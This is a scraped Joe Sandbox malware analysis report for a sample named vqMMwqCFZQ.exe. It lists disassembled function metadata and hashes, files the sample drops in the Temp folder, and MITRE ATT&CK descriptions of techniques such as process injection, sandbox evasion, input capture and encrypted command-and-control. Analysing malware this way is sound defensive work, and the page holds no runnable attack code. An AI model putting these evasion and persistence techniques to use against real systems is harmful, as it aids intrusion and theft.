Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000056.00000002.3106329591.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000056.00000002.3106301320.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106367887.0000000000408000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.000000000041F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106396734.0000000000461000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000056.00000002.3106522068.00000000004F4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_86_2_400000_RevenueDevices.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report vqMMwqCFZQ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Spreading

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\139918\Ur.pif

C:\Users\user\AppData\Local\Temp\139918\v

C:\Users\user\AppData\Local\Temp\237

C:\Users\user\AppData\Local\Temp\303482\Either.pif

C:\Users\user\AppData\Local\Temp\807

C:\Users\user\AppData\Local\Temp\Asked

C:\Users\user\AppData\Local\Temp\Bailey

C:\Users\user\AppData\Local\Temp\Bracket

C:\Users\user\AppData\Local\Temp\Chairman

C:\Users\user\AppData\Local\Temp\Considerations

C:\Users\user\AppData\Local\Temp\Credits

C:\Users\user\AppData\Local\Temp\Disco

C:\Users\user\AppData\Local\Temp\During

C:\Users\user\AppData\Local\Temp\Eight

C:\Users\user\AppData\Local\Temp\Label

Windows Analysis Report
vqMMwqCFZQ.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre